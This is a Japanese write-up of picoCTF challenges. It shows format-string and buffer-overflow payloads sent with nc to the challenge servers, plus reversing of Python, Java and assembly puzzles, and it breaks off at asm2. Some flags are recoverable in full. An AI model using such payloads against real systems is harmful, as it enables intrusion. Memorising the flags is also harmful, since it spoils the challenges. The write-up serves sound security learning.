$ echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x92\x04\x08aaaa\x0D\xF0\xFE\xCA\x0D\xF0\x0D\xF0' | nc saturn.picoctf.net 55807
Please enter your string: 
��aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa��aaaa
picoCTF{ar<REDACTED>a}

※サーバーのポート番号はサーバー・インスタンスの起動の度に変更される。

flag leak (300points)

遠隔のサーバー上で実行されているプログラムの脆弱性を突いてフラグを取得する問題。

プログラムの実行ファイルvulnとソースコードvuln.cを渡される。

vulnは32ビットのELFファイルだった。checksecで確認したところPIEとstack canaryが無効化されていた。

$ sudo checksec.sh --file=vuln
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   78 Symbols	  No	0		2		vuln

続いてソースコードvuln.cを確認してみた。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64

void readflag(char* buf, size_t len) {
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,len,f); // size bound read
}

void vuln(){
   char flag[BUFSIZE];
   char story[128];

   readflag(flag, FLAGSIZE);

   printf("Tell me a story and then I'll tell you one >> ");
   scanf("%127s", story);
   printf("Here's a story - \n");
   printf(story);
   printf("\n");
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  return 0;
}

このプログラムはユーザーの入力値をscanf()で受け取り、printf()で出力する。

   printf("Tell me a story and then I'll tell you one >> ");
   scanf("%127s", story);
   printf("Here's a story - \n");
   printf(story); // vulnerable to format string attack
   printf("\n");

しかしprintf()でユーザーの入力値を出力する際に書式文字列を指定していないため、書式文字列攻撃に対して脆弱である。

書式文字列攻撃を行い、メモリのデータを読み出せればフラグを取れそうである。(フラグはreadflag()によってメモリに書き込まれる。)

以下のエクスプロイト・コードをサーバーに送ってみた。※サーバーのポート番号はサーバー・インスタンスの起動の度に変更される。

echo -e 'AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p' | nc saturn.picoctf.net 63415

$ echo -e 'AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p' | nc saturn.picoctf.net 63415
Tell me a story and then I'll tell you one >> Here's a story - 
AAAA0xffa935f0,0xffa93610,0x8049346,0x41414141,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x2c7025,0x6f636970,0x7b465443,0x6b34334c,0x5f676e31,0x67346c46,0x6666305f,

フラグがHEX形式で読み出されているのが確認できる。(赤文字の部分)

後はHEXデコードして値を反転させればフラグを取れるはず。(メモリ内のデータのバイト・オーダーはリトル・エンディアン形式のため反転させる必要がある。)

$ echo 6f636970 | xxd -r -p | rev
pico
$ echo 7b465443 | xxd -r -p | rev
CTF{
$ echo 6b34334c | xxd -r -p | rev
L34k
$ echo 5f676e31 | xxd -r -p | rev
1ng_
$ echo 67346c46 | xxd -r -p | rev
Fl4g
$ echo 6666305f | xxd -r -p | rev
_0ff

しかし、どうやらフラグ文字列を完全には読み出せなかった模様。

scanf()の入力文字数制限 (scanf("%127s", story);) に引っかかったのかもしれないので、カンマ (,) を除いて、もう一度同様のエクスプロイト・コードを送ってみた。

echo -e 'AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p' | nc saturn.picoctf.net 63415

$ echo -e 'AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p' | nc saturn.picoctf.net 63415
Tell me a story and then I'll tell you one >> Here's a story - 
AAAA0xffbd5f800xffbd5fa00x80493460x414141410x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x2570250x6f6369700x7b4654430x6b34334c0x5f676e310x67346c460x6666305f0x3474535f0x365f6b630x336165610x7d6337630xfbad20000xf1b9bc00(nil)0xf7f9e9900x804c0000x8049410(nil)0x804c0000xffbd60680x80494180x20xffbd61140xffbd6120(nil)0xffbd6080(nil)

今度は完全なフラグを取ることができた。

$ echo 6f636970 | xxd -r -p | rev
pico
$ echo 7b465443 | xxd -r -p | rev
CTF{
$ echo 6b34334c | xxd -r -p | rev
L34k
$ echo 5f676e31 | xxd -r -p | rev
1ng_
$ echo 67346c46 | xxd -r -p | rev
Fl4g
$ echo 6666305f | xxd -r -p | rev
_0ff
$ echo 3474535f | xxd -r -p | rev
_St4
$ echo 365f6b63 | xxd -r -p | rev
ck_6
$ echo 33616561 | xxd -r -p | rev
aea3
$ echo 7d633763 | xxd -r -p | rev
c7c}

x-sixty-what (200points)

遠隔のサーバー上で実行されているプログラムの脆弱性を突いてフラグを取得する問題。

この問題には以下の注意喚起があった。

Reminder: local exploits may not always work the same way remotely due to differences between machines.

プログラムの実行ファイルvulnとソースコードvuln.cを渡される。

vulnは64ビットのELFファイルだった。checksecで確認したところPIEとstack canaryが無効化されていた。

$ sudo checksec.sh --file=vuln
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   74 Symbols	  No	0		3		vuln

続いてソースコードvuln.cを確認してみた。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFFSIZE 64
#define FLAGSIZE 64

void flag() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFFSIZE];
  gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
  vuln();
  return 0;
}

このプログラムはユーザーの入力をバッファオーバーフローに対して脆弱なgets()で受け取る。

gets()をオーバーフローさせてflag()に制御を移すことが出来ればフラグを取れそうである。

エクスプロイト・コードは以下のような構成になる。

[bufのバッファサイズ 64バイト] + [RBPポインタのサイズ 8バイト] + [flag()のアドレス 0x00401236 4バイト]

ローカルマシンにダミーのflag.txtを用意して検証してみた。

以下のエクスプロイト・コードでフラグを読み取ることができた。

echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x36\x12\x40\x00' | ./vuln

$ echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x36\x12\x40\x00' | ./vuln
Welcome to 64-bit. Give me a string that gets you the flag: 
picoCTF{dummy}
Segmentation fault (core dumped)

picoCTF{dummy}というダミーのフラグ を読み出せているのが確認できる。

続いて同様のエクスプロイト・コードをサーバーに送ってみたがフラグを取れなかった。※サーバーのポート番号はサーバー・インスタンスの起動の度に変更される。

$ echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x36\x12\x40\x00\x00\x00\x00\x00' | nc saturn.picoctf.net 53982
Welcome to 64-bit. Give me a string that gets you the flag: 
$ 

実行環境の違いがあるためローカルマシンで使用したエクスプロイトがリモートマシンでは使えない場合がある、という注意喚起が事前にあったので、その辺りの部分を調べてみたのだが原因は分からなかった。

公式のヒントを確認してみた。以下は1つ目のヒント。

Now that we're in 64-bit, what used to be 4 bytes, now may be 8 bytes.

自分のエクスプロイト・コードは64ビット・プログラム向けに作成してあるので、このヒントは助けにならなかった。

以下は2つ目のヒント。

Jump to the second instruction (the one after the first push) in the flag function, if you're getting mysterious segmentation faults.

コレもう、答えでは。。(^^;;

ヒントに従い、flag()の最初のpush命令の次の命令のアドレスを確認してみた。

$ objdump -d -M intel vuln | grep -C 5 flag

0000000000401230 <frame_dummy>:
  401230:	f3 0f 1e fa          	repz nop edx
  401234:	eb 8a                	jmp    4011c0 <register_tm_clones>

0000000000401236 <flag>:
  401236:	f3 0f 1e fa          	repz nop edx
  40123a:	55                   	push   rbp
  40123b:	48 89 e5             	mov    rbp,rsp
  40123e:	48 83 ec 50          	sub    rsp,0x50
  401242:	48 8d 35 bf 0d 00 00 	lea    rsi,[rip+0xdbf]        # 402008 <_IO_stdin_used+0x8>
  401249:	48 8d 3d ba 0d 00 00 	lea    rdi,[rip+0xdba]        # 40200a <_IO_stdin_used+0xa>
  401250:	e8 db fe ff ff       	call   401130 <exit@plt+0x80>
  401255:	48 89 45 f8          	mov    QWORD PTR [rbp-0x8],rax
  401259:	48 83 7d f8 00       	cmp    QWORD PTR [rbp-0x8],0x0
  40125e:	75 29                	jne    401289 <flag+0x53>
  401260:	48 8d 15 ac 0d 00 00 	lea    rdx,[rip+0xdac]        # 402013 <_IO_stdin_used+0x13>
  401267:	48 8d 35 ba 0d 00 00 	lea    rsi,[rip+0xdba]        # 402028 <_IO_stdin_used+0x28>
  40126e:	48 8d 3d e8 0d 00 00 	lea    rdi,[rip+0xde8]        # 40205d <_IO_stdin_used+0x5d>
  401275:	b8 00 00 00 00       	mov    eax,0x0
  40127a:	e8 61 fe ff ff       	call   4010e0 <exit@plt+0x30>

pushの次の命令 (mov rbp,rsp) のアドレスは0x0040123b である。

0x0040123bに飛ぶようにエクスプロイト・コードを書き直してみたところ、フラグを取れた。

echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x3b\x12\x40\x00' | nc saturn.picoctf.net 64545

$ echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x3b\x12\x40\x00' | nc saturn.picoctf.net 64545
Welcome to 64-bit. Give me a string that gets you the flag: 
picoCTF{b16<REDACTED>c}

ちなみに上記のエクスプロイト・コードはローカルマシンでも使用できた。

$ echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x3b\x12\x40\x00' | ./vuln
Welcome to 64-bit. Give me a string that gets you the flag: 
picoCTF{dummy}
Segmentation fault (core dumped)

file-run1 (100points)

バイナリにstringsをかければフラグを取れる。

strings run | grep -i pico

file-run2 (100points)

バイナリにstringsをかければフラグを取れる。

strings run | grep -i pico

GDB Test Drive (100points)

以下の指示に従ってバイナリをGDBでデバッグすればフラグを取れる。

  • $ chmod +x gdbme
  • $ gdb gdbme
  • (gdb) layout asm
  • (gdb) break *(main+99)
  • (gdb) run
  • (gdb) jump *(main+104)

patchme.py (100points)

Pythonスクリプトを解析してフラグを取得する問題。

暗号化されたフラグflag.txt.encとフラグを復号するためのスクリプトpatchme.flag.pyを渡される。

以下はpatchme.flag.pyのソースコード。

### THIS FUNCTION WILL NOT HELP YOU FIND THE FLAG --LT ########################
def str_xor(secret, key):
    #extend key to secret length
    new_key = key
    i = 0
    while len(new_key) < len(secret):
        new_key = new_key + key[i]
        i = (i + 1) % len(key)        
    return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])
###############################################################################


flag_enc = open('flag.txt.enc', 'rb').read()



def level_1_pw_check():
    user_pw = input("Please enter correct password for flag: ")
    if( user_pw == "ak98" + \
                   "-=90" + \
                   "adfjhgj321" + \
                   "sleuth9000"):
        print("Welcome back... your flag, user:")
        decryption = str_xor(flag_enc.decode(), "utilitarian")
        print(decryption)
        return
    print("That password is incorrect")



level_1_pw_check()

patchme.flag.pyを実行して正しいパスワードを入力すればflag.txt.encをXOR復号する。XORの鍵はutilitarian

スクリプトの中にパスワードがハードコードされているので、スクリプトを実行してパスワードをコピペすればフラグを取れる。

$ python3 patchme.flag.py 
Please enter correct password for flag: ak98-=90adfjhgj321sleuth9000
Welcome back... your flag, user:
picoCTF{p<REDACTED>a}

Safe Opener (100points)

以下のJavaのソースコードからパスワード文字列を発見する問題。パスワード文字列がフラグとなる。

import java.io.*;
import java.util.*;  
public class SafeOpener {
    public static void main(String args[]) throws IOException {
        BufferedReader keyboard = new BufferedReader(new InputStreamReader(System.in));
        Base64.Encoder encoder = Base64.getEncoder();
        String encodedkey = "";
        String key = "";
        int i = 0;
        boolean isOpen;
        

        while (i < 3) {
            System.out.print("Enter password for the safe: ");
            key = keyboard.readLine();

            encodedkey = encoder.encodeToString(key.getBytes());
            System.out.println(encodedkey);
              
            isOpen = openSafe(encodedkey);
            if (!isOpen) {
                System.out.println("You have  " + (2 - i) + " attempt(s) left");
                i++;
                continue;
            }
            break;
        }
    }
    
    public static boolean openSafe(String password) {
        String encodedkey = "cGwzYXMzX2wzdF9tM18xbnQwX3RoM19zYWYz";
        
        if (password.equals(encodedkey)) {
            System.out.println("Sesame open");
            return true;
        }
        else {
            System.out.println("Password is incorrect\n");
            return false;
        }
    }
}

31行目にパスワードがBase64エンコードされた状態でハードコードされていた。パスワードをBase64デコードすればフラグを取れる。

echo -n cGwzYXMzX2wzdF9tM18xbnQwX3RoM19zYWYz | base64 -D

unpackme.py (100points)

以下のPythonスクリプトunpackme.flag.py を解析してフラグを取得する問題。

import base64
from cryptography.fernet import Fernet



payload = b'gAAAAABiMD06eCisTWoohiYL5jHGdCte5LAviTFguZQSIyRLAWICJpmdrgxhdTB923h6eksddKpKH41I5-HGzI6xGF_7eb_1u0S2Phw2NvYGTF1KzE1-AU66FfIW6QXWnCpPHOS9CatNBuFXuyjEAx86Rld2E7GjvuKEOJJXx_GZE2JgAxnDmvcewoksfjVCCAwNqzixpUPKkIET2xmO4EsDqK4CUG8_JxP0HwSEzW4PH-hVpZrkyse4EodFPsjs7NVJF0hL1_8bP1TCiEEnFn7hCoTRRvlpYQ=='

key_str = 'correctstaplecorrectstaplecorrec'
key_base64 = base64.b64encode(key_str.encode())
f = Fernet(key_base64)
plain = f.decrypt(payload)
exec(plain.decode())

Base64と思しきデータが目を引くが、これをBase64デコードしてもフラグは現れなかった。

スクリプトを実行するとパスワードを聞かれる。試しにcorrectstaplecorrectstaplecorrecと入力してみたが、これは正しいパスワードではなかった。(ちなみにモジュールをインストールするのが億劫だったので、picoCTFのwebshellにスクリプトをアップロードして実行した。必要なモジュールはwebshellにインストール済みのようで、すんなり実行できた。)

picoctf@webshell:~$ python3 unpackme.flag.py 
What's the password? correctstaplecorrectstaplecorrec
That password is incorrect.

スクリプトを眺めてみると以下のコードが目についた。

plain = f.decrypt(payload)

変数plainに何らかの復号されたデータが格納される模様。

スクリプトに以下のprint文を加えて変数plainの中身を出力してみたところ、フラグを取れた。

plain = f.decrypt(payload)
print(plain)
picoctf@webshell:~$ python3 unpackme-patched.py 
b"\npw = input('What\\'s the password? ')\n\nif pw == 'batteryhorse':\n  print('picoCTF{1<REDACTED>c}')\nelse:\n  print('That password is incorrect.')\n\n"
What's the password? batteryhorse
picoCTF{1<REDACTED>c}

asm1 (200points)

以下のアセンブリ・コードを解析してフラグを取得する問題。

asm1:
	<+0>:	push   ebp
	<+1>:	mov    ebp,esp
	<+3>:	cmp    DWORD PTR [ebp+0x8],0x3a2
	<+10>:	jg     0x512 <asm1+37>
	<+12>:	cmp    DWORD PTR [ebp+0x8],0x358
	<+19>:	jne    0x50a <asm1+29>
	<+21>:	mov    eax,DWORD PTR [ebp+0x8]
	<+24>:	add    eax,0x12
	<+27>:	jmp    0x529 <asm1+60>
	<+29>:	mov    eax,DWORD PTR [ebp+0x8]
	<+32>:	sub    eax,0x12
	<+35>:	jmp    0x529 <asm1+60>
	<+37>:	cmp    DWORD PTR [ebp+0x8],0x6fa
	<+44>:	jne    0x523 <asm1+54>
	<+46>:	mov    eax,DWORD PTR [ebp+0x8]
	<+49>:	sub    eax,0x12
	<+52>:	jmp    0x529 <asm1+60>
	<+54>:	mov    eax,DWORD PTR [ebp+0x8]
	<+57>:	add    eax,0x12
	<+60>:	pop    ebp
	<+61>:	ret    

若干、問題文が分かりにくかったが、どうやら上記のプログラムに引数として0x6faを渡した場合の戻り値を求めれば良いらしい。

アセンブリ・コードを擬似コードに書き換えてみた。

if (arg1 > 0x3a2):
	if (arg1 != 0x6fa):
		eax = arg1
		eax = eax + 0x12
	else:
		eax = arg1
		eax = eax - 0x12
elif (arg1 != 0x358):
	eax = arg1
	eax = eax - 0x12
else:
	eax = arg1
	eax = eax + 0x12

上記の擬似コードに従えば、引数として0x6faを渡すと、0x6faから0x12を引いた値が戻り値となる。

以下の計算式でフラグを取れた。

>>> hex(0x06fa - 0x12)
'0x6e8'

vault-door-3 (200points)

以下のJavaのソースコードVaultDoor3.javaを解析してフラグを取得する問題。

import java.util.*;

class VaultDoor3 {
    public static void main(String args[]) {
        VaultDoor3 vaultDoor = new VaultDoor3();
        Scanner scanner = new Scanner(System.in);
        System.out.print("Enter vault password: ");
        String userInput = scanner.next();
	String input = userInput.substring("picoCTF{".length(),userInput.length()-1);
	if (vaultDoor.checkPassword(input)) {
	    System.out.println("Access granted.");
	} else {
	    System.out.println("Access denied!");
        }
    }

    // Our security monitoring team has noticed some intrusions on some of the
    // less secure doors. Dr. Evil has asked me specifically to build a stronger
    // vault door to protect his Doomsday plans. I just *know* this door will
    // keep all of those nosy agents out of our business. Mwa ha!
    //
    // -Minion #2671
    public boolean checkPassword(String password) {
        if (password.length() != 32) {
            return false;
        }
        char[] buffer = new char[32];
        int i;
        for (i=0; i<8; i++) {
            buffer[i] = password.charAt(i);
        }
        for (; i<16; i++) {
            buffer[i] = password.charAt(23-i);
        }
        for (; i<32; i+=2) {
            buffer[i] = password.charAt(46-i);
        }
        for (i=31; i>=17; i-=2) {
            buffer[i] = password.charAt(i);
        }
        String s = new String(buffer);
        return s.equals("jU5t_a_sna_3lpm18gb41_u_4_mfr340");
    }
}

文字列jU5t_a_sna_3lpm18gb41_u_4_mfr340を正しい順番に並べ替えれば良い模様。

checkPassword()の処理をPythonコードに書き換えてみた。

encrypted_password = "jU5t_a_sna_3lpm18gb41_u_4_mfr340"
encrypted_password_list = []

## convert the encrypted password string into list format
for i in encrypted_password:
	encrypted_password_list.append(i)

dummy_data = "********************************"
decrypted_password_list = []

## create a list for decrypted password
for i in dummy_data:
	decrypted_password_list.append(i)

for i in range(0, 8):
	#print(str('i: ') + str(i))
	decrypted_password_list[i] = encrypted_password_list[i]

i += 1

for j in range(i, 16):
	#print(str('j: ') + str(j))
	decrypted_password_list[j] = encrypted_password_list[23 - j]

j += 1

for k in range(j, 32, 2):
	#print(str('k: ') + str(k))
	decrypted_password_list[k] = encrypted_password_list[46 - k]

for l in range(31, 16, -2):
	#print(str('l: ') + str(l))
	decrypted_password_list[l] = encrypted_password_list[l]

decrypted_password = ""

## convert the decrypted password into string format from list format
for d in decrypted_password_list:
	decrypted_password += d

print(decrypted_password)

上記のPythonスクリプトを実行したところ、パスワードが復号された。

$ python3 decrypt-password.py 
jU5t<REDACTED>380

bloat.py (200points)

以下のPythonスクリプトbloat.flag.pyを解析してフラグを取得する問題。暗号化されたフラグflag.txt.encも一緒に渡される。

import sys
a = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ"+ \
            "[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ "
def arg133(arg432):
  if arg432 == a[71]+a[64]+a[79]+a[79]+a[88]+a[66]+a[71]+a[64]+a[77]+a[66]+a[68]:
    return True
  else:
    print(a[51]+a[71]+a[64]+a[83]+a[94]+a[79]+a[64]+a[82]+a[82]+a[86]+a[78]+\
a[81]+a[67]+a[94]+a[72]+a[82]+a[94]+a[72]+a[77]+a[66]+a[78]+a[81]+\
a[81]+a[68]+a[66]+a[83])
    sys.exit(0)
    return False
def arg111(arg444):
  return arg122(arg444.decode(), a[81]+a[64]+a[79]+a[82]+a[66]+a[64]+a[75]+\
a[75]+a[72]+a[78]+a[77])
def arg232():
  return input(a[47]+a[75]+a[68]+a[64]+a[82]+a[68]+a[94]+a[68]+a[77]+a[83]+\
a[68]+a[81]+a[94]+a[66]+a[78]+a[81]+a[81]+a[68]+a[66]+a[83]+\
a[94]+a[79]+a[64]+a[82]+a[82]+a[86]+a[78]+a[81]+a[67]+a[94]+\
a[69]+a[78]+a[81]+a[94]+a[69]+a[75]+a[64]+a[70]+a[25]+a[94])
def arg132():
  return open('flag.txt.enc', 'rb').read()
def arg112():
  print(a[54]+a[68]+a[75]+a[66]+a[78]+a[76]+a[68]+a[94]+a[65]+a[64]+a[66]+\
a[74]+a[13]+a[13]+a[13]+a[94]+a[88]+a[78]+a[84]+a[81]+a[94]+a[69]+\
a[75]+a[64]+a[70]+a[11]+a[94]+a[84]+a[82]+a[68]+a[81]+a[25])
def arg122(arg432, arg423):
    arg433 = arg423
    i = 0
    while len(arg433) < len(arg432):
        arg433 = arg433 + arg423[i]
        i = (i + 1) % len(arg423)        
    return "".join([chr(ord(arg422) ^ ord(arg442)) for (arg422,arg442) in zip(arg432,arg433)])
arg444 = arg132()
arg432 = arg232()
arg133(arg432)
arg112()
arg423 = arg111(arg444)
print(arg423)
sys.exit(0)

bloat.flag.pyを実行するとパスワードを聞かれる。正しいパスワードを入力すればflag.txt.encを復号して平文のフラグを取れる模様。

$ python3 bloat.flag.py
Please enter correct password for flag: hoge
That password is incorrect

ソースコードを眺めてみたところ、以下のコードが目についた。

def arg133(arg432):
  if arg432 == a[71]+a[64]+a[79]+a[79]+a[88]+a[66]+a[71]+a[64]+a[77]+a[66]+a[68]:
    return True

どうやらarg133()はユーザーの入力したパスワードとa[71]+a[64]+a[79]+a[79]+a[88]+a[66]+a[71]+a[64]+a[77]+a[66]+a[68]を比較し、両者が一致すればTrueを返す模様。

a[71]+a[64]+a[79]+a[79]+a[88]+a[66]+a[71]+a[64]+a[77]+a[66]+a[68]の中身を知るために以下のprint文をarg133()に追加してスクリプトを実行してみた。

def arg133(arg432):
  print( a[71]+a[64]+a[79]+a[79]+a[88]+a[66]+a[71]+a[64]+a[77]+a[66]+a[68])
  if arg432 == a[71]+a[64]+a[79]+a[79]+a[88]+a[66]+a[71]+a[64]+a[77]+a[66]+a[68]:
    return True
$ python3 bloat.flag-debug.py 
Please enter correct password for flag: hoge
happychance
That password is incorrect

パスワードはhappychanceと判明した。後はスクリプトを実行して取得したパスワードをコピペすればフラグを取れる。

$ python3 bloat.flag-debug.py
Please enter correct password for flag: happychance
happychance
Welcome back... your flag, user:
picoCTF{d30<REDACTED>09}

Fresh Java (200points)

JavaのclassファイルKeygenMe.classを解析してフラグを取得する問題。

以下の手順で解析した。(こちらの記事も併せて参照。)

JADでclassファイルをjavaファイルに変換。

C:\Users\user\Downloads\jad\jad -p KeygenMe.class > KeygenMe-debug.java

javaファイルをJD-GUIで開く。

以下がjavaファイルのソースコードである。フラグがハードコードされているのが確認できた。

import java.io.PrintStream;
import java.util.Scanner;

public class KeygenMe
{

    public KeygenMe()
    {
    }

    public static void main(String args[])
    {
        Scanner scanner = new Scanner(System.in);
        System.out.println("Enter key:");
        String s = scanner.nextLine();
        if(s.length() != 34)
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(33) != '}')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(32) != 'e')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(31) != 'b')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(30) != '6')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(29) != 'a')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(28) != '2')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(27) != '3')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(26) != '3')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(25) != '9')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(24) != '_')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(23) != 'd')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(22) != '3')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(21) != 'r')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(20) != '1')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(19) != 'u')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(18) != 'q')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(17) != '3')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(16) != 'r')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(15) != '_')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(14) != 'g')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(13) != 'n')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(12) != '1')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(11) != 'l')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(10) != '0')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(9) != '0')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(8) != '7')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(7) != '{')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(6) != 'F')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(5) != 'T')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(4) != 'C')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(3) != 'o')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(2) != 'c')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(1) != 'i')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(0) != 'p')
        {
            System.out.println("Invalid key");
            return;
        } else
        {
            System.out.println("Valid key");
            return;
        }
    }
}

asm2 (250points)

以下のアセンブリコードを解読する問題。引数として0x40x21を渡した場合に返される値を答えよとのこと。

asm2:
	<+0>:	push   ebp
	<+1>:	mov    ebp,esp
	<+3>:	sub    esp,0x10
